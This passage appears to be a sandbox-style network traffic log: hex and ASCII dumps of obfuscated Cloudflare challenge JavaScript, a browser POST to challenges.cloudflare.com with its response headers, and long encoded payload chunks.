2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 73 2b 76 7d 2c 6b 3d 6a 2c 6c 3d 4f 62 6a 65 63 74 5b 67 56 28 39 39 33 29 5d 28 69 29 2c 6d 3d 30 3b 6d 3c 6c 5b 67 56 28 39 31 37 29 5d 3b 6d 2b 2b 29 69 66 28 6e 3d 6c 5b 6d 5d 2c 6b 5b 67 56 28 34 38 36 29 5d 28 27 66 27 2c 6e 29 26 26 28 6e 3d 27 4e 27 29 2c 68 5b 6e 5d 29 7b 66 6f 72 28 6f 3d 30 3b 6f 3c 69 5b 6c 5b 6d 5d 5d 5b 67 56 28 39 31 37 29 5d 3b 2d 31 3d 3d 3d 68 5b 6e 5d 5b 67 56 28 31 34 33 36 29 5d 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 26 26 28 65 55 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 67 56 28 35 34 37 29 5d 28 6b 5b 67 56 28 31 37 30 35 29 5d 28 27 6f 2e 27 2c 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 67 56 28 31 38 31 36 29 5d 28 66 75 6e 63 74 Data Ascii: s+v},k=j,l=Object[gV(993)](i),m=0;m<l[gV(917)];m++)if(n=l[m],k[gV(486)]('f',n)&&(n='N'),h[n]){for(o=0;o<i[l[m]][gV(917)];-1===h[n][gV(1436)](i[l[m]][o])&&(eU(i[l[m]][o])\|\|h[n][gV(547)](k[gV(1705)]('o.',i[l[m]][o]))),o++);}else h[n]=i[l[m]][gV(1816)](funct
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 5b 68 49 28 31 36 30 36 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 68 49 28 38 39 33 29 5d 5b 68 49 28 31 30 35 35 29 5d 2c 27 63 6f 64 65 27 3a 68 49 28 38 32 30 29 2c 27 72 63 56 27 3a 65 4d 5b 68 49 28 38 39 33 29 5d 5b 68 49 28 38 38 33 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 37 39 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 68 4a 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 76 2c 43 29 7b 69 3d 28 68 4a 3d 67 4a 2c 7b 27 53 70 6f 4d 7a 27 3a 68 4a 28 31 33 34 35 29 2c 27 6e 6f 79 75 59 27 3a 68 4a 28 31 35 39 39 29 2c 27 72 67 52 4a 64 27 3a 66 75 6e 63 74 69 6f 6e 28 78 2c 42 2c 43 29 7b 72 65 74 75 72 6e 20 78 28 42 2c 43 29 7d 2c 27 4a 75 50 4d 56 27 3a 68 4a 28 31 35 34 34 29 2c 27 55 45 59 77 Data Ascii: [hI(1606)],'cfChlOutS':eM[hI(893)][hI(1055)],'code':hI(820),'rcV':eM[hI(893)][hI(883)]},'*'))},g)},eM[gJ(791)]=function(f,g,h,hJ,i,j,k,l,m,n,o,s,v,C){i=(hJ=gJ,{'SpoMz':hJ(1345),'noyuY':hJ(1599),'rgRJd':function(x,B,C){return x(B,C)},'JuPMV':hJ(1544),'UEYw
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 2c 6b 2c 6c 2c 73 2c 6d 29 7b 69 66 28 68 4b 3d 67 4a 2c 65 3d 7b 27 52 47 59 54 58 27 3a 68 4b 28 31 38 35 37 29 2c 27 43 49 46 57 61 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3d 3d 3d 6f 7d 2c 27 57 74 51 5a 4b 27 3a 68 4b 28 31 35 39 31 29 2c 27 6c 68 54 53 43 27 3a 68 4b 28 38 35 37 29 2c 27 53 79 73 56 58 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 7d 2c 27 67 6f 77 64 47 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3d 3d 3d 6f 7d 2c 27 70 61 70 69 53 27 3a 68 4b 28 31 37 34 35 29 2c 27 77 75 77 74 72 27 3a 68 4b 28 31 30 38 30 29 2c 27 73 61 55 71 53 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e Data Ascii: ,k,l,s,m){if(hK=gJ,e={'RGYTX':hK(1857),'CIFWa':function(n,o){return n===o},'WtQZK':hK(1591),'lhTSC':hK(857),'SysVX':function(n,o){return n instanceof o},'gowdG':function(n,o){return n===o},'papiS':hK(1745),'wuwtr':hK(1080),'saUqS':function(n,o,s){return n
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 66 63 2c 65 4d 5b 67 4a 28 35 38 36 29 5d 3d 66 64 2c 66 66 3d 65 4d 5b 67 4a 28 38 39 33 29 5d 5b 67 4a 28 39 33 33 29 5d 5b 67 4a 28 31 34 32 38 29 5d 2c 66 67 3d 65 4d 5b 67 4a 28 38 39 33 29 5d 5b 67 4a 28 39 33 33 29 5d 5b 67 4a 28 31 32 34 35 29 5d 2c 66 68 3d 65 4d 5b 67 4a 28 38 39 33 29 5d 5b 67 4a 28 39 33 33 29 5d 5b 67 4a 28 31 35 32 36 29 5d 2c 66 74 3d 21 5b 5d 2c 66 46 3d 75 6e 64 65 66 69 6e 65 64 2c 65 4d 5b 67 4a 28 31 37 39 30 29 5d 28 67 4a 28 31 38 39 33 29 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 69 4b 2c 64 2c 65 29 7b 69 4b 3d 67 4a 2c 64 3d 7b 27 46 49 76 6d 63 27 3a 69 4b 28 31 31 35 32 29 2c 27 69 6c 61 4f 69 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3d 3d 3d 67 7d 2c 27 76 6d 4a 67 4f 27 3a 69 4b 28 31 Data Ascii: fc,eM[gJ(586)]=fd,ff=eM[gJ(893)][gJ(933)][gJ(1428)],fg=eM[gJ(893)][gJ(933)][gJ(1245)],fh=eM[gJ(893)][gJ(933)][gJ(1526)],ft=![],fF=undefined,eM[gJ(1790)](gJ(1893),function(c,iK,d,e){iK=gJ,d={'FIvmc':iK(1152),'ilaOi':function(f,g){return f===g},'vmJgO':iK(1
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 2b 73 7d 2c 67 5b 6a 50 28 38 35 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 2d 73 7d 2c 68 3d 67 2c 6d 2c 6a 3d 33 32 2c 6c 3d 68 5b 6a 50 28 31 38 39 39 29 5d 28 65 4d 5b 6a 50 28 38 39 33 29 5d 5b 6a 50 28 31 34 32 35 29 5d 2c 27 5f 27 29 2b 30 2c 6c 3d 6c 5b 6a 50 28 35 36 38 29 5d 28 2f 2e 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 2c 6a 51 29 7b 6a 51 3d 6a 50 2c 6a 5e 3d 6c 5b 6a 51 28 31 34 37 37 29 5d 28 73 29 7d 29 2c 66 3d 65 4d 5b 6a 50 28 38 37 32 29 5d 28 66 29 2c 6b 3d 5b 5d 2c 69 3d 2d 31 3b 21 69 73 4e 61 4e 28 6d 3d 66 5b 6a 50 28 31 34 37 37 29 5d 28 2b 2b 69 29 29 3b 6b 5b 6a 50 28 35 34 37 29 5d 28 53 74 72 69 6e 67 5b 6a 50 28 31 38 31 39 Data Ascii: nction(n,s){return n+s},g[jP(859)]=function(n,s){return n-s},h=g,m,j=32,l=h[jP(1899)](eM[jP(893)][jP(1425)],'_')+0,l=l[jP(568)](/./g,function(n,s,jQ){jQ=jP,j^=l[jQ(1477)](s)}),f=eM[jP(872)](f),k=[],i=-1;!isNaN(m=f[jP(1477)](++i));k[jP(547)](String[jP(1819
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 28 69 2c 6a 29 7d 2c 27 4d 4a 6d 42 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 28 69 2c 6a 29 7d 2c 27 46 4b 74 47 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 5e 68 7d 2c 27 59 41 6b 47 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 28 69 2c 6a 29 7d 2c 27 45 45 4f 64 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 5e 68 7d 2c 27 77 52 47 4b 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 5e 69 7d 2c 27 53 42 70 62 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 3e 3e 69 7d 2c 27 44 79 61 6b 68 27 3a Data Ascii: function(h,i,j){return h(i,j)},'MJmBJ':function(h,i,j){return h(i,j)},'FKtGe':function(h,i){return i^h},'YAkGS':function(h,i,j){return h(i,j)},'EEOdT':function(h,i){return i^h},'wRGKv':function(h,i){return h^i},'SBpbU':function(h,i){return h>>>i},'Dyakh':

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50057	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:26 UTC	1159	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/2083360754:1738257177:_AcCsPlYk05IoUBDh1nHFkQSrBzJqWxJyisqL912d74/90a38299fd108c5d/9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3603 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: text/plain;charset=UTF-8 cf-chl: 9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v cf-chl-ra: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/auto_timeout/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:26 UTC	3603	OUT	Data Raw: 76 33 53 46 4b 46 78 46 66 46 61 46 71 46 51 4d 49 73 57 49 50 7a 59 74 71 32 50 4e 49 71 49 68 61 7a 69 36 66 49 41 52 49 69 7a 49 6b 5a 4c 74 46 45 4d 4c 50 66 65 50 32 5a 70 49 69 6e 65 52 74 58 49 59 5a 66 5a 39 5a 49 4a 77 33 49 71 53 53 65 5a 42 49 4a 74 5a 71 41 46 59 74 58 6d 68 66 59 77 43 49 6f 31 75 54 79 49 2d 46 66 49 6e 58 4b 66 59 68 4b 76 46 49 37 59 4a 66 78 77 32 50 47 70 37 7a 50 74 52 54 61 66 46 65 49 24 49 52 35 49 42 32 58 49 43 47 45 37 50 46 5a 54 38 6a 49 48 72 50 51 58 47 46 74 52 68 47 30 2d 47 6b 76 42 52 75 53 66 38 7a 49 6f 49 59 36 49 45 7a 49 4b 50 76 4c 4f 5a 49 49 51 59 39 34 49 6e 66 5a 47 2d 2d 65 49 76 4b 4d 4f 49 50 35 4b 58 70 66 7a 49 52 32 45 44 49 49 4c 49 4e 69 42 2d 36 6c 36 38 71 54 41 49 59 6b 32 49 71 58 6f Data Ascii: v3SFKFxFfFaFqFQMIsWIPzYtq2PNIqIhazi6fIARIizIkZLtFEMLPfeP2ZpIineRtXIYZfZ9ZIJw3IqSSeZBIJtZqAFYtXmhfYwCIo1uTyI-FfInXKfYhKvFI7YJfxw2PGp7zPtRTafFeI$IR5IB2XICGE7PFZT8jIHrPQXGFtRhG0-GkvBRuSf8zIoIY6IEzIKPvLOZIIQY94InfZG--eIvKMOIP5KXpfzIR2EDIILINiB-6l68qTAIYk2IqXo
2025-01-30 18:26:26 UTC	771	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:26 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 163724 Connection: close cf-chl-gen: wKjL8XPwmTBhOHT7JUsyEHCEHINtfLyzjErt14cRYyNOyjekAoY8uaotH79iIXnx+ksaJPEttVK0oMNZxlxXG/7yeAGjYDhO5ilJPgP0vR1wh7lonEpEMaYNu8LGrrd0UOkCrKd1b/xEkGMvNYQev8tbkyA1/sitqI48Oo5sOv4sPH2Ga8rgNf+Ev54NpMR2f8ceN1yhRaX+oQin3z0DXsNvbQbn8NBSmTytzSYAzo8I+dkhklzF/QeMIGg89+CWRTgNCVAtwzVGaWh9SAUrOXYRDUsQWgPNvH7dhCGZzRL9LYIfOHazPsmzV3nSGLjLUCDzFMiBY2NunG0+7SqrUQy/ebHm+d69Q+MSHChw/uQlL02msxm34cF0x/jH5zvPsvLmN7ga9Loak6abC7ALplcUolciLOqp/WRapGMvKDjm4Ba6R2bxv6xVSqMM9TM+yKuCGkqYyN0XNMlkXMH8PhiHqJ1L3rPfXHuWiv1z0nlw2/NIP6lDYG4RFqRIDnv2$Wv0dIzHUI4prvNeEMIQ4pw== Server: cloudflare CF-RAY: 90a382a52b6eef9d-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:26 UTC	598	IN	Data Raw: 5a 30 32 44 66 6e 4e 6b 55 6c 4f 46 56 58 75 54 66 4a 75 65 64 6f 6d 56 65 35 61 44 58 6f 65 6a 6c 57 6d 49 6c 6e 70 66 72 6d 35 77 62 33 4a 7a 68 71 57 54 69 37 6d 6e 75 4b 78 79 6c 35 76 41 76 63 43 58 72 6e 33 46 74 4b 61 57 75 71 71 4c 69 63 6d 36 6f 35 75 37 77 37 32 53 68 36 32 4e 74 4b 4b 54 30 4c 50 50 70 37 71 32 31 4c 61 67 76 63 43 69 75 4f 44 67 34 37 2f 4a 76 74 62 58 35 64 4c 61 32 2b 71 79 34 74 58 76 38 66 62 34 30 37 69 38 36 74 37 68 74 4e 37 33 31 4c 6a 69 2b 67 44 39 42 4f 76 56 44 2b 54 6e 79 52 49 52 39 4f 4c 6b 45 74 59 47 31 75 58 72 36 66 51 57 31 2f 45 63 48 2b 77 61 44 2f 30 71 4a 51 6b 71 41 75 73 6f 2b 69 38 72 37 50 73 7a 35 7a 51 48 4f 51 37 31 4a 53 63 47 4c 67 6b 53 48 6a 6c 41 2f 52 70 42 4e 6a 34 47 52 45 6b 46 4f 43 74 Data Ascii: Z02DfnNkUlOFVXuTfJuedomVe5aDXoejlWmIlnpfrm5wb3JzhqWTi7mnuKxyl5vAvcCXrn3FtKaWuqqLicm6o5u7w72Sh62NtKKT0LPPp7q21LagvcCiuODg47/JvtbX5dLa2+qy4tXv8fb407i86t7htN731Lji+gD9BOvVD+TnyRIR9OLkEtYG1uXr6fQW1/EcH+waD/0qJQkqAuso+i8r7Psz5zQHOQ71JScGLgkSHjlA/RpBNj4GREkFOCt
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 46 51 50 55 6b 68 4e 6b 6c 59 44 46 6b 30 4a 69 6f 52 4e 54 51 32 4d 56 6f 36 58 47 46 65 56 6c 4e 67 53 45 56 65 59 79 78 71 58 6b 46 4a 58 33 46 73 52 47 5a 56 66 43 35 4e 4f 46 78 34 57 58 51 2b 54 6c 64 32 5a 31 47 42 64 48 6d 4d 59 6d 39 74 63 59 52 79 58 6f 4e 56 56 6d 39 78 63 6b 79 50 63 35 42 6d 64 35 46 66 62 6d 79 51 59 5a 64 37 6b 47 4b 68 70 57 56 6f 67 57 39 2f 65 57 71 74 66 34 4b 30 69 72 57 42 63 58 75 45 72 71 35 31 6a 58 71 75 75 4c 69 54 74 62 32 6d 6b 63 75 70 6e 4a 2b 49 6a 49 32 37 69 5a 2f 55 30 63 79 70 70 73 4c 50 77 36 36 58 74 4a 71 37 77 73 71 65 32 4d 50 5a 33 74 4f 66 6f 73 72 6f 76 75 48 50 71 73 37 6c 72 66 54 4f 35 37 50 47 32 66 6e 5a 39 74 53 77 7a 2f 71 2b 33 64 4c 6b 77 63 2f 6a 38 76 54 62 2f 63 66 49 43 51 45 50 7a Data Ascii: FQPUkhNklYDFk0JioRNTQ2MVo6XGFeVlNgSEVeYyxqXkFJX3FsRGZVfC5NOFx4WXQ+Tld2Z1GBdHmMYm9tcYRyXoNVVm9xckyPc5Bmd5FfbmyQYZd7kGKhpWVogW9/eWqtf4K0irWBcXuErq51jXquuLiTtb2mkcupnJ+IjI27iZ/U0cyppsLPw66XtJq7wsqe2MPZ3tOfosrovuHPqs7lrfTO57PG2fnZ9tSwz/q+3dLkwc/j8vTb/cfICQEPz
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 30 52 6c 77 74 54 44 38 76 56 42 39 65 48 54 52 67 48 79 42 6a 55 30 4e 64 58 56 31 68 58 6a 39 4d 63 32 42 68 59 7a 41 31 52 6b 46 4b 62 7a 5a 76 58 44 31 30 56 33 52 57 66 48 64 65 57 57 63 2f 53 49 64 61 57 6d 42 61 6b 49 56 76 6a 49 46 77 6a 6d 5a 6f 69 59 74 5a 57 58 4b 51 62 6c 70 34 6f 31 6c 67 62 6f 4a 79 58 33 4a 31 72 47 64 34 71 62 43 78 6b 71 2b 6f 6e 72 57 49 73 36 75 6e 6b 5a 69 64 62 37 6c 31 6b 37 71 55 6d 37 53 53 75 62 35 2f 71 71 6a 49 67 34 65 64 78 4b 69 64 7a 38 48 4f 7a 71 65 66 30 4c 58 4c 6d 61 72 65 6c 35 71 76 6e 70 32 5a 77 39 6e 6c 34 39 33 6b 71 74 65 69 34 4b 72 73 76 61 33 79 78 39 44 4f 31 37 47 34 73 4c 6e 36 2f 50 6e 39 75 66 33 64 33 4d 76 69 31 37 7a 77 32 67 76 39 33 4e 37 57 42 4d 76 49 43 38 6a 4e 46 41 37 2b 30 4f Data Ascii: 0RlwtTD8vVB9eHTRgHyBjU0NdXV1hXj9Mc2BhYzA1RkFKbzZvXD10V3RWfHdeWWc/SIdaWmBakIVvjIFwjmZoiYtZWXKQblp4o1lgboJyX3J1rGd4qbCxkq+onrWIs6unkZidb7l1k7qUm7SSub5/qqjIg4edxKidz8HOzqef0LXLmarel5qvnp2Zw9nl493kqtei4Krsva3yx9DO17G4sLn6/Pn9uf3d3Mvi17zw2gv93N7WBMvIC8jNFA7+0O
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 49 46 4a 53 48 45 4d 7a 52 46 4a 44 49 6b 55 6b 61 6b 4d 36 62 6c 68 49 50 58 46 54 5a 55 46 77 59 58 64 45 5a 33 46 2b 53 32 78 6f 66 31 78 41 64 6f 61 47 65 47 6d 48 66 6c 6c 2f 6a 6e 39 75 63 49 39 4a 6b 34 69 57 63 56 57 42 6c 31 42 30 62 48 6d 59 69 56 6d 41 67 31 36 4e 6f 5a 4b 42 66 61 71 6b 63 32 5a 2b 6d 36 75 72 71 71 46 75 70 33 56 75 62 59 56 34 6f 37 79 57 64 37 79 78 6b 72 57 34 67 48 36 78 77 73 43 64 6f 58 79 44 6c 4b 37 44 77 72 47 71 73 4a 2b 4d 6b 4c 50 56 74 73 37 62 7a 4c 58 52 7a 4d 7a 50 33 4e 48 59 32 36 50 5a 74 75 65 6c 33 73 72 6c 77 65 6a 44 7a 4e 7a 62 7a 4f 76 4d 39 74 44 79 39 63 33 72 79 50 6e 6f 2f 74 33 76 38 65 4c 35 41 75 66 56 42 2b 72 58 31 4f 44 33 37 2b 77 45 34 4f 76 75 33 66 54 4e 34 76 51 4c 37 2b 54 30 43 2b 77 Data Ascii: IFJSHEMzRFJDIkUkakM6blhIPXFTZUFwYXdEZ3F+S2xof1xAdoaGeGmHfll/jn9ucI9Jk4iWcVWBl1B0bHmYiVmAg16NoZKBfaqkc2Z+m6urqqFup3VubYV4o7yWd7yxkrW4gH6xwsCdoXyDlK7DwrGqsJ+MkLPVts7bzLXRzMzP3NHY26PZtuel3srlwejDzNzbzOvM9tDy9c3ryPno/t3v8eL5AufVB+rX1OD37+wE4Ovu3fTN4vQL7+T0C+w
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 6a 42 62 4b 45 49 2b 5a 54 6f 6f 4c 32 52 67 62 6e 52 77 4d 48 46 66 4d 47 68 55 57 45 31 33 5a 33 52 59 57 58 4a 68 51 49 4e 76 5a 59 4e 6f 69 49 43 48 66 58 69 44 59 31 46 70 57 34 35 4e 69 35 47 4b 6b 6c 69 44 6d 70 43 5a 6a 4a 65 4b 6f 6e 6d 69 64 58 79 51 64 35 57 55 6c 35 65 42 62 6e 6c 75 67 6f 53 30 6b 34 32 4c 6a 58 4f 58 64 33 57 61 6b 4b 6d 52 66 4a 71 36 67 61 47 57 77 5a 57 45 66 37 32 55 74 49 66 4f 7a 71 2f 45 6e 4b 65 75 6a 38 7a 45 70 4d 79 6c 70 74 61 61 73 35 69 39 31 4c 32 73 30 61 4b 6d 70 4f 54 63 32 38 44 4b 71 75 6d 6c 75 2b 54 7a 78 4d 57 79 34 66 6a 4d 37 4d 58 48 73 37 72 54 75 63 33 30 33 63 73 42 39 4d 50 35 39 4e 51 42 79 65 62 66 41 64 67 41 44 74 41 52 30 73 76 69 35 51 66 34 39 77 66 39 36 64 6b 62 36 66 63 41 41 75 51 64 Data Ascii: jBbKEI+ZTooL2RgbnRwMHFfMGhUWE13Z3RYWXJhQINvZYNoiICHfXiDY1FpW45Ni5GKkliDmpCZjJeKonmidXyQd5WUl5eBbnlugoS0k42LjXOXd3WakKmRfJq6gaGWwZWEf72UtIfOzq/EnKeuj8zEpMylptaas5i91L2s0aKmpOTc28DKqumlu+TzxMWy4fjM7MXHs7rTuc303csB9MP59NQByebfAdgADtAR0svi5Qf49wf96dkb6fcAAuQd
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 56 6f 4f 6c 39 48 63 32 4a 71 4c 55 6c 54 61 54 4a 32 52 6d 52 76 52 6e 42 4a 65 47 31 66 52 46 5a 54 56 59 57 43 51 49 70 6b 59 58 61 4e 67 34 4a 6f 64 45 36 41 67 57 32 44 62 57 78 7a 6b 70 47 66 5a 35 5a 36 6a 58 35 79 59 58 71 56 5a 5a 75 5a 70 33 52 33 5a 35 6d 45 6e 37 47 72 66 59 47 71 6a 34 2b 35 64 4b 53 49 6d 61 69 52 74 6e 36 32 67 6e 61 76 6e 37 61 77 74 61 62 4a 70 4a 61 69 6e 49 79 39 6e 6f 75 64 6e 73 43 69 73 4d 57 52 6d 4b 54 46 71 4a 7a 58 33 64 36 31 34 4c 37 5a 70 5a 72 63 75 39 61 36 6e 2b 33 6e 73 4e 33 48 78 4c 50 73 35 62 4c 32 31 4f 58 38 7a 65 7a 5a 2b 66 7a 37 34 50 48 66 33 63 2f 6f 79 4e 58 2b 42 75 54 37 44 76 72 50 35 39 72 74 38 75 58 51 33 77 4c 53 35 39 6e 7a 37 64 55 57 38 77 50 62 38 78 48 7a 44 79 63 62 43 2f 6a 33 4b Data Ascii: VoOl9Hc2JqLUlTaTJ2RmRvRnBJeG1fRFZTVYWCQIpkYXaNg4JodE6AgW2DbWxzkpGfZ5Z6jX5yYXqVZZuZp3R3Z5mEn7GrfYGqj4+5dKSImaiRtn62gnavn7awtabJpJainIy9noudnsCisMWRmKTFqJzX3d614L7ZpZrcu9a6n+3nsN3HxLPs5bL21OX8zezZ+fz74PHf3c/oyNX+BuT7DvrP59rt8uXQ3wLS59nz7dUW8wPb8xHzDycbC/j3K
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 64 53 33 4a 43 61 44 64 32 64 55 35 70 4e 56 34 2f 58 58 46 7a 67 6c 64 30 56 7a 70 42 68 45 75 49 56 6c 64 4f 54 6d 68 4b 55 47 39 79 5a 4a 65 44 6a 32 64 61 6d 6e 42 31 68 35 4a 73 63 59 31 30 6a 36 57 57 6f 58 53 4a 6a 48 5a 34 66 32 71 5a 6d 61 47 43 6a 6f 36 77 6f 61 43 6e 65 59 4f 78 6a 62 46 37 71 58 2b 63 6e 37 61 56 6e 48 2b 77 68 37 6e 4d 6e 4b 6a 49 78 4c 69 2f 79 49 33 48 69 39 57 54 6a 38 53 52 31 72 4f 77 32 5a 6a 41 32 39 6e 6b 73 5a 76 62 77 73 54 64 73 73 4c 69 74 38 33 45 72 36 76 48 34 36 2b 30 7a 50 6a 44 77 38 33 4a 2b 62 7a 39 74 73 6a 54 76 50 62 7a 7a 2f 76 6a 39 4f 4c 7a 37 50 72 58 7a 63 48 62 45 75 34 55 30 77 30 54 38 42 6e 78 30 39 4c 34 2b 74 55 41 36 2f 67 6b 46 76 6a 2b 38 68 4c 79 39 42 77 61 41 65 4d 4c 43 50 6e 36 38 68 Data Ascii: dS3JCaDd2dU5pNV4/XXFzgld0VzpBhEuIVldOTmhKUG9yZJeDj2damnB1h5JscY10j6WWoXSJjHZ4f2qZmaGCjo6woaCneYOxjbF7qX+cn7aVnH+wh7nMnKjIxLi/yI3Hi9WTj8SR1rOw2ZjA29nksZvbwsTdssLit83Er6vH46+0zPjDw83J+bz9tsjTvPbzz/vj9OLz7PrXzcHbEu4U0w0T8Bnx09L4+tUA6/gkFvj+8hLy9BwaAeMLCPn68h
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 54 57 39 6d 63 47 6c 54 57 6c 42 67 54 49 59 2b 51 6e 39 49 67 57 61 4c 5a 34 46 4b 54 58 2b 47 53 56 35 6c 6c 49 56 54 63 6f 52 78 6b 56 78 6f 64 32 68 73 57 36 4e 30 6f 61 65 69 68 71 64 38 6c 61 6c 38 72 6f 4e 72 6a 36 57 44 69 71 36 47 70 6e 43 34 65 58 53 31 6b 5a 6d 56 71 61 6c 34 76 4c 69 79 6b 4d 4b 6a 67 71 4b 45 79 71 4f 61 7a 61 4b 4c 7a 35 4b 78 73 36 2b 58 70 38 6a 4c 7a 37 50 4e 6e 63 6a 5a 74 74 43 56 31 62 75 66 75 4e 58 68 75 4e 53 32 78 4e 37 6a 33 64 7a 74 36 37 44 31 72 61 6d 78 78 4d 66 35 37 64 4b 37 73 65 6e 77 75 65 7a 59 76 51 62 47 30 73 67 48 37 4f 62 6b 42 2f 72 36 79 2f 76 6f 7a 2f 62 67 47 4f 33 74 36 68 67 58 39 76 50 7a 43 68 51 58 37 50 73 50 34 76 77 65 47 75 6e 72 36 79 72 6e 47 65 6f 45 41 78 48 7a 35 7a 41 42 39 42 6b Data Ascii: TW9mcGlTWlBgTIY+Qn9IgWaLZ4FKTX+GSV5llIVTcoRxkVxod2hsW6N0oaeihqd8lal8roNrj6WDiq6GpnC4eXS1kZmVqal4vLiykMKjgqKEyqOazaKLz5Kxs6+Xp8jLz7PNncjZttCV1bufuNXhuNS2xN7j3dzt67D1ramxxMf57dK7senwuezYvQbG0sgH7ObkB/r6y/voz/bgGO3t6hgX9vPzChQX7PsP4vweGunr6yrnGeoEAxHz5zAB9Bk
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 56 68 4f 55 31 68 54 56 6e 61 4a 5a 33 61 45 5a 32 31 4c 57 6b 65 4b 63 59 5a 7a 63 32 4b 46 63 70 4f 63 6d 6c 31 76 68 32 6d 4a 67 6e 75 42 63 58 68 33 59 70 78 31 64 48 61 6f 66 71 75 6b 6e 6d 71 71 6f 57 2b 6a 6f 71 71 44 64 37 43 55 6b 4a 69 2f 74 4c 36 59 6e 37 2b 4f 6f 4a 4f 61 74 63 47 31 6d 70 79 4b 6d 38 4c 41 69 5a 79 54 72 62 54 4a 30 71 57 61 6d 61 58 49 32 62 65 74 6e 61 44 53 77 72 7a 6e 70 63 4f 69 33 4d 58 6e 79 75 44 6e 32 71 66 78 34 63 37 75 39 37 4c 78 39 66 6d 34 76 4d 66 58 39 66 72 52 42 4c 6e 33 76 4e 76 55 31 2f 37 34 77 77 33 70 45 41 6e 74 42 64 76 4f 34 63 2f 33 39 64 67 53 42 65 7a 33 32 2f 30 66 45 39 4d 65 34 65 4d 6d 4a 51 63 4a 4a 53 55 6c 46 51 59 66 4a 7a 49 73 47 2f 41 78 4b 42 4d 74 43 52 49 54 4c 7a 6b 6e 50 78 41 55 Data Ascii: 